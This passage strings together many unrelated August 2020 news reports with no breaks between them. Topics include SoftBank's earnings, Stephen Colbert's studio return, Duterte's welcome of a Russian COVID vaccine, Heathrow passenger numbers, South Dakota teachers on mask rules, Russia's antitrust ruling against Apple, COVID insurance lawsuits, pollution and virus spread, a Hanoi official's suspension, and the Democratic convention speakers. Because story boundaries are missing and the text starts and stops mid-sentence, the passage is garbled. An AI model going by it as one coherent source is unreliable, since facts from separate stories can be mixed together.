of issues including sea boundaries, and came to the brink of war over disputed inhabited islands in the Aegean Sea in 1996. Demirtas, however, said a military conflict is unlikely. "A military conflict is certainly not in the best interest of both nations. The international community would step in and deploy efforts to avert such a scenario," she explained. Enditem Metro Manila (CNN Philippines, August 10) A Philippine Embassy official in Bangkok expressed dissatisfaction over a local newspapers headline that called the Philippines the land of COVID-19. In a letter to Thai Rath editor-in-chief Saravut Vacharaphol, Consul General Val Simon Roque said the characterization is inappropriate, insensitive, and unhelpful during this time when all members of the Association of Southeast Asian Nations are working together to solve the problems caused by the COVID-19 pandemic. Roque said the teachers strictly followed health protocols and quarantine rules set by the Thai government. On August 8, there were 165 Filipino teachers who arrived at Suvarnabhumi Airport to make up for the countrys shortage of such professionals. This was reported by Thai Rath newspaper on Sunday, and described the Philippine as such. The Philippines recorded its highest single-day rise with 6,958 on Monday, bringing total case count to 136,638, still the most count among Southeast Asian countries, followed by Indonesia with 127,083. (Bloomberg) -- Masayoshi Son is launching a new asset management venture to buy stocks in publicly traded companies, expanding SoftBank Group Corp.s investment efforts as it rebounded from record losses to profitability. The Tokyo-based company reported net income of 1.26 trillion yen ($11.8 billion) for the three months ended June 30, following a loss of 1.44 trillion yen three months earlier. The profit was boosted by more than 1 trillion yen in one-time gains from the sale of Sprint Corp. and shares in T-Mobile US Inc. Son has shifted his attention to investments in recent years after building his fortune in the telecom sector. The asset management initiative expands on previous efforts like the $100 billion Vision Fund, which he set up three years ago to take stakes in private startups. The new arm has already purchased shares in Apple Inc., Amazon.com Inc. and Facebook Inc. As an investment company, we need to explore various angles and scope. But our focus is still on companies driving the information revolution, said Son. This is the purpose of our company. SoftBank will own 67% of the asset management firm, while Son personally will own the rest. The unit has about $555 million in capital, he said. Its not clear why Son thinks SoftBank will have an edge in picking stocks, moving into a field crowded with heavyweights like Fidelity Investments and BlackRock Inc. The effort may increase the volatility of SoftBank earnings, which has grown with initiatives like the Vision Fund. Investors will need to build greater risk into their expectations -- and Masa investing alongside is not a good look, said Kirk Boodry, an analyst at Redex Research who writes for Smartkarma. Launching a new investment vehicle targeted at public tech when Nasdaq is near all-time highs with bubble concerns seems like a good way to keep the share price discount to public value from closing. The Japanese billionaire has pulled off a remarkably speedy comeback after the worst loss in his companys 39-year history. A global rally in technology shares lifted the value of SoftBanks stakes in publicly traded firms like Uber Technologies Inc. and improved the prospects for startups in its portfolio, from Chinas Didi Chuxing to South Koreas Coupang. Story continues Far from striking a winning pose on Tuesday however, Son emphasized the importance of defense. He opened his presentation with slides depicting a 16th century battle between two Japanese lords. Oda Nobunaga, who would go on to unify Japan, won the engagement by sheltering his riflemen inside a wooden structure to protect them from samurai on horseback. You cant skimp on defense, Son said. We need to strengthen our defense. Defense is cash. SoftBank also stopped reporting operating profit, long a key metric tracked by investors. It said the figure is no longer meaningful as the company becomes a strategic investment holding company. SoftBank is in the process of offloading 4.5 trillion yen in assets to fund share repurchases and to pay down debt. The company already raised 4.3 trillion yen through sales that include stakes in T-Mobile, Alibaba Group Holding Ltd. and its domestic telecom unit, completing about 95% of the program. The Vision Fund returned to profitability, following a 1.13 trillion yen loss in the previous quarter. SoftBank booked a 296.6 billion yen gain on Vision Fund investments in the quarter, including 111.4 billion yen in realized gains after selling a portion of its shares in four listed portfolio companies. About $1.4 billion of the unrealized gains came from holdings in public companies, with Uber responsible for about $700 million and Ping An Good Doctor, Vir Biotechnology Inc. and Guardant Health Inc. contributing about $200 million each. Its still too early to say that it will be all profits at the Vision Fund going forward, Son said in a live-streamed briefing. But things are turning around in a big way. Several SoftBank-backed companies have also pulled off successful initial public offerings, raising the prospects for more in the future. Online home-insurance provider Lemonade Inc. more than doubled in the days after its initial public offering last month, while oncology drug developer Relay Therapeutics Inc. has surged about the same amount since its trading debut. Beike Zhaofang, a Chinese online property brokerage backed by SoftBank, said last week it is seeking to raise about $2 billion in a U.S. IPO. DoorDash Inc., a U.S. food delivery company backed by SoftBank, has filed paperwork for a public stock listing. Online insurance platform Policybazaar and e-commerce giant Coupang are preparing for offerings in 2021. Son confirmed that SoftBank is looking to sell or take public Arm Ltd., the chip design firm that he bought four years ago for $32 billion. He said he may accelerate plans for an Arm IPO from the original 2023 schedule or he may sell part or all of the firm. Bloomberg News reported earlier this month that Nvidia Corp. is in advanced talked to acquire Arm. Son put plans for a second Vision Fund on hold after missteps, including the meltdown at WeWork. Now, the funds upbeat results and a renewed investor appetite for risk could revive the idea, according to Atul Goyal, senior analyst at Jefferies Group. Our strategy hasnt changed, Son said at the briefing. We still plan on unicorn hunting with Vision Fund 2, 3 and so on. (Updates with details from the briefing from ninth paragraph) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. After five months of filming episodes of his CBS late-night talk show Late Show from his own home, Stephen Colbert returned to the office on Monday. The 56-year-old host took to Twitter on Sunday to reveal he's heading back to the office, along with a photo of some sourdough bread loafs. It was revealed last week that both Colbert's Late Show and James Corden's The Late Late Show will be filming episodes in their studio homes this week. Back to the office: After five months of filming episodes of his CBS late-night talk show Late Show from his own home, Stephen Colbert is going back to the office on Tuesday 'Back to NYC offices tomorrow after five months. Looking forward to broadcasting again from the Greatest City on Earth,' Colbert began. 'And just in time (maybe way past time), I finally cracked that sourdough puzzle,' he added, showcasing a photo of three sourdough bread loaves he baked. As for Corden, he did not specify when he will return to his Los Angeles offices to film Late Late Show. Back to work: 'Back to NYC offices tomorrow after five months. Looking forward to broadcasting again from the Greatest City on Earth,' Colbert began Production halted on Colbert's Late Show on March 12, due to the COVID-19 pandemic, with the show returning on March 30 with a newly-titled show called A Late Show With Stephen At Home, a nod to his Twitter handle @StephenAtHome. While all other late-night shows, and daytime programs as well, filming episodes from the host's homes, Colbert and Corden, whose shows both air on CBS, will return to their studio homes, according to a Deadline report. No audience members will be in attendance for either Colbert or Corden's shows, which comes after Jimmy Fallon was the first to return to The Tonight Show studio two weeks ago, while Conan O'Brien has filmed Conan from the Largo in Los Angeles. At home: Production halted on Colbert's Late Show on March 12, due to the COVID-19 pandemic, with the show returning on March 30 with a newly-titled show called A Late Show With Stephen At Home, a nod to his Twitter handle @StephenAtHome For the past five months, Colbert has been filming episodes from his home in South Carolina, with the help of his wife Evelyn McGee. The comedian also sent his first tweet in his return to the office on Monday, and he couldn't resist throwing in a little office humor. 'Tonight, after five months, I'm back in my office at the Ed Sullivan Building! Unrelated question: how long does desk drawer egg salad keep?' he quipped. Home interviews: For the past five months, Colbert has been filming episodes from his home in South Carolina, with the help of his wife Evelyn McGee Office humor: The comedian also sent his first tweet in his return to the office on Monday, and he couldn't resist throwing in a little office humor Colbert was announced as the successor to late-night legend David Letterman in April 2014, taking over Late Show hosting duties in September 2015. The funnyman also co-created Showtime's Our Cartoon President, which follows the animated adventures of Donald Trump, and returns for a third season on September 13. He also co-created Tooning Out the News on CBS All Access and produces the upcoming documentary In & Of Itself. Successor: Colbert was announced as the successor to late-night legend David Letterman in April 2014, taking over Late Show hosting duties in September 2015 Amid warnings by experts, Russia steps up vaccine development and promises to deliver it to the Philippines. Philippine President Rodrigo Duterte has lauded Russias efforts to develop a coronavirus vaccine and is himself willing to participate in trials, as he welcomed a supply offer from Moscow that he expects will be free of charge. Russia expects regulatory approval for a potential COVID-19 vaccine this month and is ready to provide it to the Philippines, or team up with a local firm to mass-produce it. The Philippines number of cases is among the highest in Asia, rising to 136,638 on Monday after a record daily jump of 6,958 cases. I will tell President (Vladimir) Putin that I have huge trust in your studies in combating COVID and I believe that the vaccine that you have produced is really good for humanity, Duterte said on television late on Monday. The frenetic global race to develop a COVID-19 vaccine has raised concerns that speed and national prestige could compromise safety. To allay public fears, Duterte offered to be a guinea pig when the vaccine arrives and said: I can be the first they can experiment on. His office on Tuesday said the Philippines stands ready to work with Russia on vaccine trials, supply and production. Military-enforced lockdown In July, Duterte made a plea to his Chinese counterpart to make the Philippines a priority if China develops a vaccine, amid concern in developing countries about availability. This month, he restored a strict lockdown in and around the capital Manila for an initial two weeks, heeding the plea of medical front-liner workers for a timeout amid a surge in infections during a period when restrictions were eased. If the situation becomes a runaway contagion, Duterte on Monday vowed to mobilise the military to enforce the lockdown. The lockdown has been among the worlds toughest, and Dutertes opponents and rights groups have voiced concern about his security-centred approach and the conduct of the police. Meanwhile, scientists worldwide are sounding the alarm that the headlong rush could backfire as Russia boasts that it is about to become the first country to approve a COVID-19 vaccine, with mass vaccinations planned as early as October. Im worried that Russia is cutting corners so that the vaccine that will come out may be not just ineffective, but also unsafe, said Lawrence Gostin, a global public health law expert at Georgetown University. It doesnt work that way. Trials come first. Thats really important. According to Kirill Dmitriev, head of Russias Direct Investment Fund, which bankrolled the effort, a vaccine developed by the Gamaleya research institute in Moscow may be approved in days, before scientists complete whats called a phase three study. That final-stage study, usually involving tens of thousands of people, is the only way to prove if an experimental vaccine is safe and really works. Dr Anthony Fauci, the top US infectious-disease specialist, questioned the fast-track approach last week. I do hope that the Chinese and the Russians are actually testing a vaccine before they are administering the vaccine to anyone, because claims of having a vaccine ready to distribute before you do testing, I think is problematic at best, he said. UKs Heathrow airport has renewed its call for COVID-19 testing at the airport after it reported a drastic plunge in passenger numbers amid the ongoing pandemic. According to reports, 8,60,000 passengers travelled through Heathrow in July, 88 per cent down as compared to the previous year. The UK government, which is mulling a full revival of businesses, has mandated quarantine on arrivals from Spain, Luxembourg, Belgium, the Bahamas and Andorra. Last week, countrys finance minister Rishi Sunak reportedly said that the government would not hesitate to add more countries to its quarantine list including ally France. 60% route remained unoperated The travel restrictions have affected the London airport majorly. As per the airports management, 60 per cent of its route network remained grounded requiring the passenger to quarantine for 14 days. Recently, it saw a slight uplift after the government introduced travel corridors on July 4. However, Heathrows management is of the opinion that airport testing of passengers could safely keep the routes open. In addition, it could restart other long-closed routes which could help the country's economy, which is fast slipping into recession, to recover. Speaking to international media reporters. CEO John Holland Kaye said that tens of thousands of jobs have been lost because Britain remains cut off from critical markets such as the US, Canada and Singapore.Elaborating further, he said that the government could save jobs, by introducing testing to cut quarantine from higher-risk countries, while keeping public safe form COVID-19. Read: UK: Mahatma Gandhi's Gold Plated Glasses To Be Auctioned In East Bristol Read: UK Economy Expected To Slip Into Recession As GDP Plunges Further This comes as experts have predicted a GDP drop of seven per cent in the second quarter of the pandemic hit year. The figures, which would be released mid-week, will put the countrys economy in recession for the first time since the 2008 financial crisis. As per the economists, two consecutive quarters of economic plunge are required for any country to be called under recession. Read: More Migrants Risk Dangerous Journey From Calais To UK Read: UK Employment Falls By Biggest Quarterly Amount Since 2009 Image credits: AP Photo Illustration by The Daily Beast/Getty/Handout R.I.P. Ms. Hansen. 1997-2020. Masks Save Lives. The words appeared on a tombstone-shaped sign 23-year-old rookie special education teacher Lizzie Hansen carried at a demonstration last month, urging her South Dakota school board to mandate masks when the school year begins. The board did go from terming masks recommended to deeming them expected. But it stopped short of what all the authoritative science says it should do. Its not a requirement, Hansen noted in an interview. To make it worse, Hansen recently began spotting bikers rumbling through her part of eastern South Dakota on their way to the once legendary, and now notorious, annual motorcycle rally in Sturgis. A quarter-million people or more are currently in the middle of nine days of partying, often completely without masks or social distancing, as if there were no pandemic. She calculated the threat as if it were a school math problem a fifth-grader could handle. She began by estimating that only 1 percent of the partiers in Sturgis will be infected with COVID-19. One percent of 250,000 is 2,500, she said. This meant 2,500 people will be carrying the virus back the way they came. And they will have already proven themselves unlikely to wear masks or observe social distancing. Thousands more people they encounter are likely to be infected, she argued. Im terrified of whats to come in the next couple weeks, Hansen told The Daily Beast, asking that her school district not be named to avoid any impression that she was offering anything but her personal opinions. Anybody who doubts the danger need only go online and take a look at the videos and photos of Sturgis at full tilt in August 2020. But schools cannot offer the excuse made by a host of officials and sheriffs across the country who say they cannot enforce a mask mandate. Schools have dress codes. If you can enforce a dress code, you should be able to enforce a mask requirement, Hansen said. Students arriving at school wearing jeans with holes or a sleeveless blouse or some other proscribed item of clothing are liable to be sent home if they cannot get somebody to bring them an acceptable alternative. Story continues Under the boards new mask code, students who arrive without a mask are liable to be sent to the office, at which time an administrator calls the parents. Should the parents say their kid does not have to wear a mask, it ends there. The kid is allowed to go about endangering others with an uncovered face from then on. That prospect has Hansen fearful for her students and for herself as she approaches the start of her first school year as a teacher. Its a day Ive been dreaming about for four years, but this is not the way I thought it would go, Hansen told The Daily Beast. I am extremely excited, but also extremely nervous. She has already planned one of the first classroom topics of discussion. Were going to be talking about why we wear masks, she reported. Hansen said she goes on the assumption that the scientists, who have almost universally come around to embracing the use of masks to mitigate COVID-19, are right. If theyre wrong, I look silly for a couple of weeks, she said. So, I dont lose anything by wearing a mask. She intends to teach that everyone wearing a mask for the sake of everyone else is an example of ubuntu, a southern African concept of collective humanity that means in part, I am because we are. Hansens effort, along with the safety of her students as well as kids throughout her state, has been jeopardized by Gov. Kristi Noem, who has actually said families should send their kids back to school without masks. South Dakota Governor Kristi Noems COVID-19 Inaction Has Made Her a Right-Wing Hero We believe that when it comes to children, masks have the potential to do more harm than good, Noem wrote in a fundraising email, which a spokesperson later said was in-artfully crafted. On July 29, Noem held a press conference in a fourth-grade classroom at a Sioux Falls elementary school, not far from where Hansen will be teaching. The venue had apparently been chosen because it looked particularly well prepared for reopening during a pandemic. A veteran teacher, Jessica Peterson, had enlisted her husband, Chris, in constructing plexiglass partitions for each child at her own expense. This extra effort to contain the virus imparted some irony when Noem again questioned the value of masks that can in fact help do the same thing. The science has not proven what's effective and what isn't," Noem falsely asserted. In an Aug. 7 press release about their visit to that school, Noem made no mention of the teacher-conceived-and-financed partitions. She instead focused on something the teacher installed four years ago. And she used it to spin further the same reckless politics that led her to eschew masks and host Donald Trumps fireworks extravaganza at Mount Rushmore on July 3and endorse the mass gathering in Sturgis. I saw a great bulletin board in a 4th grade classroom, Noem reported. It said, Put your positive pants on. That message reminded me of a lesson that is often easy to forget: an optimistic outlook can be tremendously helpful when responding to lifes challenges. Thats especially true in the fight against COVID-19. She launched into the standard Trumpian spiel that the virus is not so bad, that most of us are not at risk. She once again plugged the drug hydroxychloroquine despite it being discredited as a COVID treatment. She latched onto some early thinking and ignored more recent evidence when she baldly asserted, Kids are less likely to contract the virus. So lets remember to put our positive pants on, Noem said by way of conclusion. We need to emphasize facts, not fear. Lets tell the story of what works in the fight against this virus, and lets continue to get through this together. But Peterson was quick to tell The Daily Beast that she put up that board years before COVID-19. She added that the affirmations that went up on itLife is Tough. So Are You.. Only You Can Control Your Future...''Believe You Can...were intended to help her students handle everyday classroom challenges. More for the kids who think math is hard or spelling it hard, she said. It was not intended for a pandemic. Peterson, who will be teaching fifth grade in the same classroom this year, is as distressed as Hansen and many other teachers about the absence of a mask mandate. Theyll have lists of students whose parents said their children will not be wearing masks, Peterson said. Once the parents say, No mask Peterson hopes the partitions will provide some protection even if a kid is on the list. Her own children, 8-year-old Cooper and 6-year-old Will, attend her school and will definitely be wearing masks when they return this year. Well wear our masks even if somebody sitting next to us is not wearing a mask, she reported. For her part, Hansen is particularly concerned about the virus at one of the two schools where she is assigned. It has kids from families who work at a meatpacking plant that was a COVID -19 epicenter. And some of the kids come from such modest means that she worries they will not be able to acquire clean masks. I have 12 masks, she said. Hansen shares Petersons view that positive thinking is powerful if it is well directed. Hansen actually started college wanting to become a lawyer. She then became close friends with a fellow student who has Down Syndrome. Her friend proved to be the most positive person she had ever met, seeming to see all the good in the world where too many others see all the bad. Its going to be a great day! the friend exclaimed at the start of each new one. Four years later, Hansen is a special education teacher. As she begins the school year on Aug. 27, Hansen will join Peterson in putting on both her mask and her positive pants. Their way of positive thinking is to protect and educate their kids as best as they possibly can, grounding the class in truth and fact. Im going to be the best teacher they ever had, Hansen said. Thats the goal. Read more at The Daily Beast. Got a tip? Send it to The Daily Beast here Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. A hot potato: Apple's tight control over the App Store has served it well over the years, both in winning users' trust and in attracting high profile apps to iOS. However, the privacy and security argument is starting to look increasingly like an excuse for monopolistic behavior, bringing the company into the crosshairs of regulators in several regions. While Apple is busy bullying a small app developer for supposedly creating confusion around a logo, Russia's antitrust watchdog has decided to take action against the iPhone maker for abusing its dominant position in the mobile app market. The Russian Federal Antimonopoly Service (FAS) announced on Monday that it has concluded its investigation into Apple's App Store practices and found it in violation of local competition laws. In the ruling, the FAS cites the company's requirement that all iOS app be downloaded through the App Store, as well as the company's penchant for removing apps from the marketplace at a whim. The investigation started in September 2019 after Apple decided to block parental control apps that made use of Mobile Device Management functionality, which gave them access over sensitive user information such as location, email accounts, camera permissions, browser history, and app usage data. At the time, Russian antivirus company Kaspersky filed a complaint against Apple, as they were blocked from publishing updates to its parental control app called Safe Kids. Apple still believes it had the right to do, as to protect users' privacy and security, so it will appeal the FAS ruling in the coming weeks. Apple CEO Tim Cook was questioned about controversial App Store policies during a U.S. Congress antitrust hearing last month, where he argued the same points about putting the user first and trying to create a safe app marketplace. The App Store along with Apple Pay are the subject of an antitrust investigation in the European Union, after several companies complained about Apple's gatekeeping behavior. And as days go by, more companies hit the same wall -- Microsoft and Google can't offer their cloud gaming services on iOS, and Facebook couldn't launch a streaming player with mini-games -- because they supposedly look like alternative app stores to Apple's. When insurance coverage lawsuits brought by businesses seeking coverage for COVID-related interruptions surpassed the 700 mark last month, the natural question to ask was: Is that a lot? Thats exactly the question that Chris Cheatham, CEO and co-founder of insurtech RiskGenius, asked during a webinar he hosted, addressing the question to Tom Baker, the William Maul Measey professor at the University of Pennsylvania, who presented the figure. Baker, an expert in insurance law and policy, showed an analysis of the numbers of business interruption coverage suits following past catastrophe events between 2009 and 2020 in particular, Hurricanes Ike, Irma and Harvey and Superstorm Sandy and COVID-19. They exceed the norm by two or three times all the nat cats, he said, comparing the current level of COVID-19 cases in federal courts to the business interruption coverage suits filed after those natural catastrophe, Its a big deal, he added, displaying line graphs with case spikes that rose to less than 100 for Hurricane Ike a year after the third-quarter 2008 event, and to roughly 150 a year later. For Sandy, Irma and Harvey, case filings were less than 100 in similar time frames. The University of Pennsylvania has been tracking insurance coverage litigation on a COVID Coverage Litigation Tracker (CCLT) powered by Lex Machina, machine learning-focused legal analytics software that harvest information from PACER, the federal docket system. A webinar slide based on recent CCLT output indicated a figure of 694 total COVID-19 business interruption insurance coverage lawsuits, but Baker said that he had seen a list of 69 new cases on the day of the webinar July 21. While that number likely had some duplicates (owing to an overly inclusive search he uses to tap the Lex Machina tool), Baker confidently projected that the BI cases had eclipsed 700 at that point more than Ike, Sandy, Irma and Harvey together. Although Baker could not compare COVID BI case numbers with those brought in the wake of Hurricane Katrina because Lex Machina only goes back to 2009, he speculated that while the Katrina-driven suits numbers would be bigger than those for the other storms, it wouldnt be anything like COVID-19. And its not slowing down, Baker added, referring to the continual trend in COVID BI coverage suit filings. Cheatham, who has been using the University of Pennsylvania tracker to put together analyses of his own, agreed with the assessment. Its almost five-times, he said, comparing the COVID case counts to those following each of the storms individually. Providing one obvious reason for the disparity, Cheatham noted that while a hurricane hits just one area a single state or multiple states COVID-19 shut down almost everything for a period of time. That was a countrywide shutdown essentially, except for some remote locations, where businesses just across the board were shut down, Cheatham said, turning to Baker to supply other reasons that COVID is a much bigger BI event in terms of the claims being filed than the storms. Baker offered that the nature of the coverage disputes is different. For hurricanes, coverage disputes centered around questions like what share of the loss the insurance company should pick up vs. the federal flood program. And then also, what was the value of the damage? In contrast, for COVID-19, the insurance industry has decided that its just not paying absent an affirmative coverage [grant] in the policy. He added: I think things move to litigation faster and also, with a greater propensity because theres not that belief that, Hey, we can come to some agreement. When the answer is, No, your claim is denied, the next step is litigation. Penn. Higher Than New York Cheatham and Bryan Wilson, MIT Fellow, have been working on their own analysis of trends in COVID litigation for a series of articles Cheatham is authoring exclusively for Carrier Management, titled COVIDigation Nation. In the accompanying article, COVIDigation: Why So Many Cases? Are More Coming? the first of the series he uses Penn Laws COVID Coverage Litigation Tracker to conclude that 69% of COVID insurance coverage lawsuits have been filed in just nine states. While big states known for high litigation rates generally, like California and Illinois are among them, Cheathams analysis shows another factor is the correlation between COVID infection rates and the number of insurance coverage lawsuits filed. Still, there are a few questions that Cheatham needed Bakers help to answer like why Pennsylvania, registering 10.5% of the coverage lawsuits as mid-July, and Florida, with 8.3%, were outpacing New Yorks 7.0%? Part of the reason is that New York isnt viewed as a particularly policyholder-friendly jurisdiction, Baker said, explaining a slower pace of filings in the Empire state. Beyond that, he said that plaintiffs firms actively seeking to consolidate cases in other states may explain some of the other outliers. There is an effort right now in the federal courts to have what is called an MDL, which is multidistrict litigation a procedure in the federal courts thats very widely used in products liability cases, but has, to my knowledge, never been used before in insurance cases, Baker said. He explained that what an MDL does is that it transfers all of the cases of a particular category to one federal court for proceedings leading up to, but not including trial. (The cases go back to the court where they originated for the trial.) There are three teams of lawyers who have filed three competing efforts to consolidate these cases in Pennsylvania, Florida, and Illinois, Baker said, noting that the three cohorts have adopted different strategies. The Pennsylvania lawyers strategy has been, Hey, were going to file the most cases and that this case should be consolidated in the Eastern District of Pennsylvania because thats the center of gravity from cases.' While Florida lawyers are using a similar strategy, a high-powered coverage lawyer on the Illinois team of higher profile national lawyers is simply relying on their reputations rather than flooding the dockets. The strategy that theyre taking is, Listen, were just really amazing lawyers and you should do it in Chicago and Chicago is in the middle of the country, Baker said. Years Not Months In his COVIDigation analysis, Cheatham also tracks the timing of case filings, finding roughly one-month lag between spikes in COVID infections and new high watermarks for litigation filings. Viewing a jump in infections during the week of a June 23 based on the New York Times COVID-19 dataset, Cheatham suggested there could be a surge in insurance litigation near the end of July. Baker, going back to his analysis of hurricane landfalls and BI coverage litigation, suggests an even longer loss development tail for insurers to worry about. The peak doesnt come until one year out, Baker said, pointing to a bar graph showing case counts at intervals of six months, 1-2 years, 2-3 years and over three years out for the storm events. While most showed case spikes in the 1-2 year bucket, for Ike, the spike came in 2-3 years, and there were still Sandy BI lawsuits being filed after 3 years. To the extent that COVID-19 cases follow that pattern, which its too soon to tell because were not even six months out really, then that suggests that theres a lot more lawsuits to come, Baker concluded. Topics Lawsuits Catastrophe COVID-19 Florida New York Hurricane Illinois Pennsylvania People are more likely to catch Covid-19 in areas with bad air pollution because particles can 'carry' the virus, scientists have claimed. Data shows that London, Birmingham, New York, LA, Mexico city, Delhi all have high levels of pollution and have been battered by Covid-19. Now, international researchers led by Taipei Medical University in Taiwan have claimed pollution plays a 'direct role' in the spread of the disease. Viruses may be absorbed by particulate matter - produced mostly by car fumes and construction work - and then travel or linger in the air for hours or even days before being inhaled by someone, they said. This would suggest the coronavirus is airborne, meaning people can inhale it from tiny particles in the air. Moreover, evidence suggests particulate matter may make the cells in the lungs more susceptible to the coronavirus, increasing the risk of someone becoming badly affected. People are more likely to catch Covid-19 in areas with high air pollution because particles 'carry' the virus, scientists have claimed. (Pictured: A woman wearing a mask in London) A team led by Nguyen Thanh Tung, of Taipei Medical University, Taiwan, drew on various pieces of research to support their theory, published in the journal Science of The Total Environment. Until now, health officials have said the coronavirus is spread mainly from large respiratory droplets expelled from coughing or sneezing. But emerging evidence suggests airborne transmission also plays a role. The scientists said viruses may be absorbed by particulate matter (PM) and remain 'airborne for hours or days'. The tiny particles can then be inhaled deep into the lungs where the virus begins replicating. PARTICULATE MATTER Particulate Matter (PM, for short) is a mixture of solid particles and liquid droplets found in the air. They are created from a variety of sources including traffic, construction sites, unpaved roads, fields, smokestacks or fires. Most particles form in the atmosphere as a result of reactions of chemicals such as sulphur dioxide and nitrogen oxides. Some PM, such as dust, dirt, soot, or smoke, is large or dark enough to be seen with the naked eye. Other PM is so small it can only be detected using an electron microscope. PM. with diameters that are generally 2.5 micrometres and smaller differ from PM, which have diameters of 10 micrometres or less. Source: US EPA Advertisement PM may provide 'a good platform to shade and carry the SARS-CoV-2' and be a 'direct transmission model in a highly polluted area', the paper claimed. There are some studies which support this theory to some extent. Italian researchers showed how genetic material of SARS-CoV-2 was detectable in 19 of 34 PM samples in Bergamo, Italy. Various studies in Italy have shown places that have been the hardest hit by Covid-19 also have significant pollution. Lombardi and Emilia Romagna in northern Italy have a lot of factories, heavy traffic and are surrounded by mountains which prevent air flow. It's been reported both locations also have a higher Covid-19 mortality rate than other places in Italy. However, there could be many other underlying reasons other than pollution. In another study spanning 120 cities in China, research showed that every increase of 10 micrograms per cubic meter in concentration of PM2.5 led to more than a two per cent increase in new Covid-19 cases. PM2.5, which is mainly produced by traffic fumes, industry and household heating, are tiny particles finer than a human hair. But it was later argued that this rise in Covid-19 infection was because of the crowded cities rather than the exposure to air pollution. It wouldn't be the first time a virus has latched on to toxic air as a means of surviving - bird flu and seasonal influenza have both been discovered in PM. Mr Tung and colleagues explained that the PM may make the lungs more susceptible to the coronavirus by increasing the expression of ACE-2 receptors that coat cells. ACE-2 receptors are used as a 'gateway' for SARS-CoV-2 to enter cells. Therefore, a person who inhales polluted air may have more entry points for the coronavirus. Previous work by the team has shown that three months of exposure to PM increase ACE-2 expression in the rat lungs. They concluded in their paper: 'The combination of PM and SARS-CoV-2 may aggravate lung injury by increasing inflammation. Herein, providing insights into the risk of airborne transmission of SARS-CoV-2 via PM.' But as of yet, it has been difficult to prove that if someone has more ACE-2 expression, they are at higher risk of catching Covid-19. In fact, some researchers say that ACE-2 is preventative of severe lung damage. Air pollution affects all regions of the world, but more so in low-income cities, 97 per cent of which do not meet air quality guidelines set out by the World Health Organization (WHO). Even in high-income countries, 49 per cent are breaching pollution limits. There are particularly high exposures in the Eastern Mediterranean, SouthEast Asian and Western Pacific regions. However, it is the US, Europe and Latin America which has been significantly impacted by Covid-19, if looking at government reported data on cases and deaths. Particulate matter is in the air pollution emitted from vehicles, factories, construction sites, tilled fields, unpaved roads, and burning of fossil fuels. It's been shown in years of scientific research to amage airways, leading to breathing difficulties and the development of asthma in children who are genetically at risk. Prime Minister Nguyen Xuan Phuc on Tuesday signed a decision to suspend Hanoi chairman Nguyen Duc Chung from work over his responsibility in some cases. Chairman Chungs suspension will last 90 days, according to the decision. An investigation is underway into his role in a few cases in accordance with the law. Chung was born in northern Hai Duong Province on August 3, 1967. He has been chairing the Peoples Committee of Hanoi since December 4, 2015. He was deputy chief of the investigative bureau of the Hanoi Department of Police from November 2001 to October 2004. He served as chief of the criminal bureau of the police department from December 2007 to September 2010. Chung was deputy director of the municipal police department while still heading the criminal bureau from September 2010 to March 2011. He became a lawmaking National Assembly deputy and a member of the legislatures judicial committee in May 2011. He was named director of the Hanoi Department of Police in September 2012. The prime minister promoted him to major general in July 2013. He was elected as deputy secretary of the Hanoi Party Committee in November 2015. The Politburo has also suspended him from this title. An exclusive source told Tuoi Tre (Youth) newspaper in July that Chungs chauffeur and two other suspects had been arrested for appropriating documents containing state secrets, in relation to the so-called Nhat Cuong case, referring to a technology firm and mobile phone vendor in the Vietnamese capital. Nhat Cuongs general director, Bui Quang Huy, is facing accusations of heading a ring that smuggled a huge amount of electronic equipment and concealed revenue to the tune of trillions of Vietnamese dong. (VND1 trillion = US$43 million) Huy has also been charged with violating accounting regulations, resulting in serious consequences and money laundering. He has fled Vietnam and been wanted internationally since May 2019. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! The Democratic National Convention announced Tuesday it will feature speeches from Alexandria Ocasio-Cortez, former first couple Michelle and Barack Obama and former first couple Bill and Hillary Clinton as the four-day event goes fully virtual. Representative Ocasio-Cortez, a progressive New York City congresswoman who helped shape presumptive Democratic nominee Joe Biden's environmental and energy plan, will give remarks on August 18, the second night of the convention. She will share the virtual stage next Tuesday with Biden's wife, Dr. Jill Biden, Bill Clinton, former Secretary of State John Kerry, Senate Minority Leader Chuck Schumer, Former U.S. Attorney General Sally Yates and Delaware Representative Lisa Blunt Rochester. While the convention was originally scheduled for July 1316, 2020 in Milwaukee, Wisconsin, the prevailing coronavirus pandemic forced the Democratic National Committee to delay the dates until August 17-20 and move all speech to an online forum. Biden announced last week that instead of traveling to Milwaukee, he will deliver his acceptance speech from his home state of Delaware on Thursday, August 20. Progressive Representative Alexandria Ocasio-Cortez will help headline big-name speeches at the Democratic National Convention on Tuesday Ocasio-Cortez will share the virtual stage with former President Bill Clinton (right) on Tuesday, while former Secretary of State and unsuccessful 2016 Democratic presidential candidate Hillary Clinton (left) will make remarks at the convention on Wednesday Former first couple Barack and Michelle Obama will both speak at the convention on Wednesday and Monday respectively Presumptive Democratic nominee Joe Biden is prepared to make his acceptance speech virtually from Delaware on the fourth and final night of the convention next Thursday 'I've wanted to set an example as to how we should respond individually to this crisis,' Biden said at a virtual fundraiser last week when speaking about the virtual convention. 'From the start of the process, we've made it clear Science matters.' The presumptive nominee is showing his willingness to work with the far-left branch of the Democratic party by inviting Ocasio-Cortez as well as Democratic-socialist Senator Bernie Sanders to make remarks at his nomination. Several politicians who previously opposed Biden for the nomination, including Sanders, will also make speeches among that list are former South Bend, Indiana Mayor Pete Buttigieg, New Jersey Senator Cory Booker, California Senator Kamala Harris, Massachusetts Senator Elizabeth Warren and Minnesota Senator Amy Klobuchar. Harris and Warren have also been floated as potential running mates for Biden. Entrepreneur Andrew Yang is disappointed he won't be one of the former 2020 Democratic candidates to grace the virtual stage. 'I've got to be honest I kind of expected to speak,' Yang tweeted Tuesday after the list was released. 'Maybe I endorsed against one too many incumbents,' the tech businessman tweeted in a follow-up post. House Speaker Nancy Pelosi will make virtual remarks Wednesday night of the convention and share the stage with former Secretary of State and 2016 loser Hillary Clinton. On each night of the convention, events will begin broadcasting starting at 9:00 p.m. on all major television networks as well as social media sites and some streaming services, like Apple TV and Roku. Viewers can also watch the convention directly on the DNC's website. The announcement of the lineup comes as Biden is preparing to announce who he plans to run with as his No. 2 on the November ticket the individual will also make a speech on Wednesday night of the convention. Former 2020 Democratic presidential candidate and tech entrepreneur Andrew Yang expressed his disappointment that he was not selected to be a speaker at the convention Several women on 